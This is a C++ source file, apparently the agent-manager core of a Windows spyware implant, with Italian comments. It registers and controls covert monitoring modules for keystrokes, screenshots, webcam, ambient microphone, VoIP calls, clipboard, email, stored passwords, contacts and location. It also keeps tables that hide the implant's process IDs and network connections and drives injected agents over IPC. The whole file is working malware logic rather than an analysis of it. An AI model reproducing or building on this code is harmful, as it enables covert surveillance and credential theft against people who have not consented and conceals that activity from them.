AM_Core.cpp

#include <windows.h>
#include "common.h"
#include "H4-DLL.h"
#include "AM_Core.h"
#include "LOG.h"
#include "JSON\JSON.h"

// XXX Definita in HM_IpcModule!!!!
#define MAX_MSG_LEN 512 // Lunghezza di un messaggio
typedef struct {
	BYTE status; 
#define STATUS_FREE 0 // Libero
#define STATUS_BUSY 1 // In scrittura
#define STATUS_WRIT 2 // Scritto
	FILETIME time_stamp;
	DWORD wrapper_tag;
	DWORD message_len;
	DWORD flags;
	DWORD priority;
#define IPC_LOW_PRIORITY 0x0
#define IPC_DEF_PRIORITY 0x10
#define IPC_HI_PRIORITY  0x100
	BYTE message[MAX_MSG_LEN];
} message_struct;


extern message_struct *IPCServerPeek();
extern void IPCServerRemove(message_struct *);
extern void IPCServerWrite(DWORD, BYTE *, DWORD);
extern BOOL IPCServerInit();

extern void PM_FileAgentRegister();
extern void PM_KeyLogRegister();
extern void PM_SnapShotRegister();
extern void PM_WiFiLocationRegister();
extern void PM_PrintAgentRegister();
extern void PM_CrisisAgentRegister();
extern void PM_VoipRecordRegister(); 
extern void PM_UrlLogRegister();
extern void PM_ClipBoardRegister();
extern void PM_WebCamRegister();
extern void PM_AmbMicRegister();
extern void PM_MailCapRegister();
extern void PM_PStoreAgentRegister();
extern void PM_IMRegister();
extern void PM_DeviceInfoRegister();
extern void PM_MouseLogRegister();
extern void PM_ApplicationRegister();
extern void PM_PDAAgentRegister();
extern void PM_ContactsRegister();

typedef void (WINAPI *conf_callback_t)(JSONObject);
extern BOOL HM_ParseConfSection(char *conf, WCHAR *section, conf_callback_t call_back);
void AM_SuspendRestart(DWORD);


typedef DWORD (__stdcall *PMD_Generic_t) (BYTE *, DWORD, DWORD, FILETIME *); // Prototipo per il dispatch
typedef DWORD (__stdcall *PMS_Generic_t) (BOOL, BOOL); // Prototipo per lo Start/Stop
typedef DWORD (__stdcall *PMI_Generic_t) (JSONObject); // Prototipo per l'Init
typedef DWORD (__stdcall *PMU_Generic_t) (void); // Prototipo per l'UnRegister

#define AM_MAXDISPATCH 50

typedef struct {
	WCHAR agent_name[32];
	DWORD agent_tag;
	PMD_Generic_t pDispatch; 
	PMS_Generic_t pStartStop; 
	PMI_Generic_t pInit; 
	PMU_Generic_t pUnRegister;
	BOOL started;
} AMDispatchStruct;

AMDispatchStruct aDispatchArray[AM_MAXDISPATCH];
DWORD dwDispatchCnt = 0;

////////////////////////////////////////////////
// Funzioni e strutture per l'hiding dinamico //
// di connessioni,PID e directory             //
////////////////////////////////////////////////
BYTE *hiding_table[HIDE_ELEM] = {NULL, NULL};
DWORD hiding_count[HIDE_ELEM] = {0, 0}; // Numero di elementi nascosti per tipo

CRITICAL_SECTION hide_critic_sec;

// Ritorna la dimensione dell'elemento corrispondente al tipo
DWORD AM_HideElemSize(DWORD type)
{
	if (type == HIDE_PID)
		return sizeof(pid_hide_struct);
	else if (type == HIDE_CNN)
		return sizeof(connection_hide_struct);
	else
		return 0;
}

// Ritorna il wrapper tag relativo al tipo da nascondere
DWORD AM_HideWrapperTag(DWORD type)
{
	if (type == HIDE_PID)
		return WR_HIDE_PID;
	else if (type == HIDE_CNN)
		return WR_HIDE_CON;
	else
		return 0;
}

// Ritorna una struttura nulla del tipo relativo
BYTE *AM_HideNullEntry(DWORD type)
{
	static connection_hide_struct connection_hide = NULL_CONNETCION_HIDE_STRUCT;
	static pid_hide_struct pid_hide = NULL_PID_HIDE_STRUCT;

	if (type == HIDE_PID)
		return (BYTE *)&pid_hide;
	else if (type == HIDE_CNN)
		return (BYTE *)&connection_hide;
	else
		return NULL;
}

// Aggiunge un elemento da nascondere alla relativa tabella
BOOL AM_AddHide(DWORD type, void *elem_par)
{
	BYTE *elem = (BYTE *)elem_par;
	BYTE *temp_table = NULL;
	DWORD elem_size = 0;

	// Setta la dimensione di un elemento della tabella
	if ( (elem_size = AM_HideElemSize(type)) == 0 )
		return FALSE;

	EnterCriticalSection(&hide_critic_sec);
	// Allarga la tabella degli elementi interessati
	// XXX...altro piccolo ed improbabile int overflow....
	if ( !(temp_table = (BYTE *)realloc(hiding_table[type], (hiding_count[type] + 1)*elem_size)) ) {
		LeaveCriticalSection(&hide_critic_sec);
		return FALSE;
	}

	// Aggiunge l'elemento nuovo
	hiding_table[type] = temp_table;
	memcpy(hiding_table[type] + hiding_count[type] * elem_size, elem, elem_size);
	hiding_count[type]++;

	// Aggiorna la shared memory
	// Tiene conto che ogni wrapper ha a disposizione una dimensione massima
	// per la configurazione. Se la dimensione eccede quella copiabile, non fa
	// niente (gli elementi nuovi non verrebbero comunque copiati).
	// Termina sempre con una entry nulla (la memoria shared viene inizializzata
	// a 0).

	// Controlla che ci sia lo spazio per copiare la tabella e che venga 
	// lasciata la entry nulla alla fine
	if ( (hiding_count[type] + 1) * elem_size > WRAPPER_MAX_SHARED_MEM ) {
		LeaveCriticalSection(&hide_critic_sec);
		return TRUE;
	}

	IPCServerWrite(AM_HideWrapperTag(type), hiding_table[type], hiding_count[type] * elem_size);
	LeaveCriticalSection(&hide_critic_sec);
	return TRUE;
}


// Toglie un elemento da nascondere dalla relativa tabella
void AM_RemoveHide(DWORD type, void *elem_par)
{
	BYTE *elem = (BYTE *)elem_par;
	DWORD elem_size = 0;
	DWORD i, last_bytes;

	// Setta la dimensione di un elemento della tabella
	if ( (elem_size = AM_HideElemSize(type)) == 0 )
		return;

	EnterCriticalSection(&hide_critic_sec);
	// Cerca l'elemento da eliminare
	for (i=0; i<hiding_count[type]; i++) {
		// L'ha trovato
		if (!memcmp(hiding_table[type] + i * elem_size, elem, elem_size)) {
			// Calcola quanti byte ci sono dopo l'elemento in questione
			last_bytes = (hiding_count[type] - i - 1) * elem_size;

			// Sposta gli elementi successivi indietro per cancellare
			// quello da eliminare (se ce ne sono)
			if (last_bytes)
				memmove_s(hiding_table[type] + i * elem_size, last_bytes, hiding_table[type] + (i+1) * elem_size, last_bytes);
			
			// Diminuisce il numero di elementi e rialloca la memoria
			// (se il counter va a zero, equivale a una free).
			hiding_count[type]--;
			hiding_table[type] = (BYTE *)realloc(hiding_table[type], hiding_count[type] * elem_size);
			// Se la realloc fallisse lo considera come se non ci fossero piu' 
			// elementi (possibile memory leak, molto improbabile...controllo paranoico)
			if (!hiding_table[type])
				hiding_count[type] = 0;

			// Controlla che ci sia lo spazio per copiare la tabella 
			// XXX Non aggiorna la lista via IPC finche' non rimane un numero
			// di entry copiabili
			if ( (hiding_count[type] + 1) * elem_size > WRAPPER_MAX_SHARED_MEM ) {
				LeaveCriticalSection(&hide_critic_sec);
				return;
			}

			IPCServerWrite(AM_HideWrapperTag(type), hiding_table[type], hiding_count[type] * elem_size);
			// Elimina la entry in piu' che prima era presente
			IPCServerWrite(AM_HideWrapperTag(type) + (hiding_count[type] * elem_size), AM_HideNullEntry(type), elem_size);
		}
	}
	LeaveCriticalSection(&hide_critic_sec);
}

// Vede se un elemento e' nascosto
BOOL AM_IsHidden(DWORD type, void *elem_par)
{
	BYTE *elem = (BYTE *)elem_par;
	DWORD elem_size = 0;
	DWORD i, last_bytes;

	// Setta la dimensione di un elemento della tabella
	if ( (elem_size = AM_HideElemSize(type)) == 0 )
		return FALSE;

	EnterCriticalSection(&hide_critic_sec);
	// Cerca l'elemento da eliminare
	for (i=0; i<hiding_count[type]; i++) {
		// L'ha trovato
		if (!memcmp(hiding_table[type] + i * elem_size, elem, elem_size)) {
			LeaveCriticalSection(&hide_critic_sec);
			return TRUE;
		}
	}
	LeaveCriticalSection(&hide_critic_sec);
	return FALSE;
}

// Funzione di utilita' per attivare gli agenti iniettati.
// Nella memoria relativa alla configurazione il primo BOOL indica
// se l'agente e' attivo o no.
void AM_IPCAgentStartStop(DWORD dwTag, BOOL bStartFlag)
{
	IPCServerWrite(dwTag, (BYTE *)&bStartFlag, sizeof(BOOL));
}


// Registra il Monitor con le funzioni di Init, StartStop e Dispatch
// Viene richiamata dalle funzioni di registrazione dei monitor.
DWORD AM_MonitorRegister(WCHAR *agent_name, DWORD agent_tag, BYTE * pDispatch, BYTE * pStartStop, BYTE * pInit, BYTE *pUnRegister)
{
	if(dwDispatchCnt >= AM_MAXDISPATCH)
		return NULL;
	swprintf_s(aDispatchArray[dwDispatchCnt].agent_name, sizeof(aDispatchArray[dwDispatchCnt].agent_name)/ sizeof(WCHAR), L"%s", agent_name);
	aDispatchArray[dwDispatchCnt].agent_tag = agent_tag;
	aDispatchArray[dwDispatchCnt].pDispatch = (PMD_Generic_t) pDispatch;
	aDispatchArray[dwDispatchCnt].pStartStop = (PMS_Generic_t) pStartStop;
	aDispatchArray[dwDispatchCnt].pInit = (PMI_Generic_t) pInit;
	aDispatchArray[dwDispatchCnt].pUnRegister = (PMU_Generic_t) pUnRegister;
	aDispatchArray[dwDispatchCnt].started = FALSE;
	
	dwDispatchCnt++;

	return 1;
}

// Esegue il dispatch per il monitor dwTag
DWORD AM_Dispatch(DWORD dwTag, BYTE * pMsg, DWORD dwMsgLen, DWORD dwFlags, FILETIME *tstamp)
{
	DWORD i;

	for(i=0; i<dwDispatchCnt; i++) {
		if(dwTag == aDispatchArray[i].agent_tag) {
			if (aDispatchArray[i].pDispatch)
				aDispatchArray[i].pDispatch(pMsg, dwMsgLen, dwFlags, tstamp);
			break;
		}
	}
	return 1;
}


// Esegue lo Start/Stop di un monitor a seconda di dwStartFlag
// TRUE = Start
// FALSE = Stop
DWORD AM_MonitorStartStop(DWORD dwTag, BOOL bStartFlag)
{
	DWORD i;

	for(i=0; i<dwDispatchCnt; i++) {
		if(dwTag == aDispatchArray[i].agent_tag) {
			aDispatchArray[i].started = bStartFlag;
			if (aDispatchArray[i].pStartStop)
				aDispatchArray[i].pStartStop(bStartFlag, TRUE);
			break;
		}
	}
	return 1;
}

// Prende il tag di un agente per nome
DWORD AM_GetAgentTag(const WCHAR *agent_name)
{
	DWORD i;
	for(i=0; i<dwDispatchCnt; i++) 
		if(!wcsicmp(agent_name, aDispatchArray[i].agent_name))
			return aDispatchArray[i].agent_tag;
	return 0xFFFFFFFF;
}

// Esegue l'init di un monitor
DWORD AM_MonitorInit(DWORD dwTag, JSONObject elem)
{
	DWORD i;

	for(i=0; i<dwDispatchCnt; i++) {
		if(dwTag == aDispatchArray[i].agent_tag) {
			aDispatchArray[i].started = FALSE;
			if (aDispatchArray[i].pInit)
				aDispatchArray[i].pInit(elem);
			break;
		}
	}
	return 1;
}

// Stoppa e Deregistra tutti gli agenti prima dell'uninstall
DWORD AM_UnRegisterAll()
{
	DWORD i;

	for(i=0; i<dwDispatchCnt; i++) {
		if (aDispatchArray[i].pStartStop)
			aDispatchArray[i].pStartStop(FALSE, TRUE);
	}

	for(i=0; i<dwDispatchCnt; i++) {
		if (aDispatchArray[i].pUnRegister)
			aDispatchArray[i].pUnRegister();
	}
	return 1;
}


// Stoppa tutti gli agent (anche se sono gia' stoppati)
// Vengono poi attivati selettivamente dal file di conf
// o come action di un evento o con la ResartAll
DWORD AM_MonitorSuspendAll()
{
	DWORD i;

	for(i=0; i<dwDispatchCnt; i++) {
		if (aDispatchArray[i].pStartStop)
			aDispatchArray[i].pStartStop(FALSE, FALSE);
	}
	return 1;
}

// Rimette gli agent nello stato in cui erano al momento
// della SuspendAll (usato quando c'e' una sync e uno scambio
// di code dei log).
DWORD AM_MonitorRestartAll()
{
	int i;

	// Li riavvia in ordine inverso allo stop
	// Gli ultimi agenti registrati rimangono stoppati per meno tempo
	for(i=dwDispatchCnt-1; i>=0; i--) {
		if (aDispatchArray[i].pStartStop && aDispatchArray[i].started)
			aDispatchArray[i].pStartStop(TRUE, FALSE);
	}
	return 1;

}

#define STIME 25
HANDLE hAMThread = NULL;
BOOL bAM_cp = FALSE; // Semaforo per uscita thread AgentManager

DWORD AM_Main()
{	
	message_struct *msMsg;

	LOOP {		
		CANCELLATION_POINT(bAM_cp);
		msMsg = IPCServerPeek();
		if(msMsg) {
			AM_Dispatch(msMsg->wrapper_tag, msMsg->message, msMsg->message_len, msMsg->flags, &(msMsg->time_stamp));
			IPCServerRemove(msMsg);
		} else 
			Sleep(STIME);
	}
	
	return 1;
}


// Inizializza e lancia la prima volta l'AgentManager
DWORD AM_Startup()
{
	if (!IPCServerInit())
		return 0;
	LOG_InitLog();
	InitializeCriticalSection(&hide_critic_sec);

	PM_FileAgentRegister();
	PM_KeyLogRegister();
	PM_SnapShotRegister();
	PM_WiFiLocationRegister();
	PM_PrintAgentRegister();
	PM_CrisisAgentRegister();
	PM_UrlLogRegister();
	PM_ClipBoardRegister();
	PM_WebCamRegister();
	PM_MailCapRegister();
	PM_PStoreAgentRegister();
	PM_IMRegister();
	PM_DeviceInfoRegister();
	PM_MouseLogRegister();
	PM_ApplicationRegister();
	PM_PDAAgentRegister();
	PM_ContactsRegister();
	PM_AmbMicRegister();
	PM_VoipRecordRegister(); // ma teniamolo per ultimo va, cosi' lo stoppa per ultimo

	return 1;
}


// Legge la configurazione degli agent da file
void WINAPI ParseModules(JSONObject module)
{
	AM_MonitorInit(AM_GetAgentTag(module[L"module"]->AsString().c_str()), module);	
}

void UpdateAgentConf()
{
	char conf_json[6000];
	DWORD readn;

	// XXX Da modificare
	ZeroMemory(conf_json, sizeof(conf_json));
	HANDLE hfile = CreateFile("C:\\config.json", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
	ReadFile(hfile, conf_json, sizeof(conf_json), &readn, NULL);

	HM_ParseConfSection(conf_json, L"modules", &ParseModules);
}


// Sospende/riprende il thread di AgentManager e starta/stoppa tutti gli agent, 
// per chiudere tutti i log prima di poterli spedire. 
// RESTART = inizializza la prima volta o (dopo una suspend) riporta tutto allo stato
//           del file di configurazione (nel caso di una nuova conf scaricata).
// SUSPEND = Stoppa gli agent memorizzando lo stato in cui si trovavano in quel momento
// RESTART = Rimette gli agent nello stato in cui erano al momento della suspend (usato 
//           dopo che viene scambiata la coda dei log).
void AM_SuspendRestart(DWORD action)
{
	DWORD dwThid;

	// Stoppa tutti gli agent
	if (action == AM_SUSPEND) { 
		// Killa il thread e stoppa gli agent
		QUERY_CANCELLATION(hAMThread, bAM_cp);
		AM_MonitorSuspendAll();
	} else if (action == AM_RESET) {
		// Attiva gli agent e inizializza il thread
		// riportandoli nello stato del file di configuazione.
		UpdateAgentConf();
		hAMThread = HM_SafeCreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE) AM_Main, (LPVOID) NULL, 0, &dwThid);		
	} else if (action == AM_RESTART) {
		// Attiva gli agent (secondo lo stato salvato)
		// e inizializza il thread.
		AM_MonitorRestartAll();
		hAMThread = HM_SafeCreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE) AM_Main, (LPVOID) NULL, 0, &dwThid);		
	} else if (action == AM_EXIT) {
		// Killa il thread e stoppa gli agent
		QUERY_CANCELLATION(hAMThread, bAM_cp);
		
		// Esegue le funzioni di uscita degli agent
		AM_UnRegisterAll();
	}
}